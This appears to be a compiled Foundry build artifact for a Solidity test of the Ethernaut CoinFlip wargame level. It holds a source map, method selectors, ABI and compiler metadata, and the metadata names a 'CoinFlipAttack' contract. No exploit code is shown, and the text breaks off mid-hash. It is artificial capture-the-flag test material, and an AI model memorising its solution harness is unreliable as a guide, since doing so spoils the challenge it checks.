;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18457:125::-;18522:9;;;18543:10;;;18540:36;;;18556:18;;:::i;18769:277::-;18836:6;18889:2;18877:9;18868:7;18864:23;18860:32;18857:52;;;18905:1;18902;18895:12;18857:52;18937:9;18931:16;18990:5;18983:13;18976:21;18969:5;18966:32;18956:60;;19012:1;19009;19002:12;19952:184;20022:6;20075:2;20063:9;20054:7;20050:23;20046:32;20043:52;;;20091:1;20088;20081:12;20043:52;-1:-1:-1;20114:16:155;;19952:184;-1:-1:-1;19952:184:155:o;20141:383::-;20338:2;20327:9;20320:21;20301:4;20364:45;20405:2;20394:9;20390:18;20382:6;20364:45;:::i;:::-;20457:9;20449:6;20445:22;20440:2;20429:9;20425:18;20418:50;20485:33;20511:6;20503;20485:33;:::i;:::-;20477:41;20141:383;-1:-1:-1;;;;;20141:383:155:o;20529:335::-;20608:6;20661:2;20649:9;20640:7;20636:23;20632:32;20629:52;;;20677:1;20674;20667:12;20629:52;20710:9;20704:16;20743:18;20735:6;20732:30;20729:50;;;20775:1;20772;20765:12;20729:50;20798:60;20850:7;20841:6;20830:9;20826:22;20798:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Coinflip.t.sol\":\"TestCoinflip\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/CoinFlipAttack.sol\":{\"keccak256\":\"0x75073dac0277fc441099f7f97359f6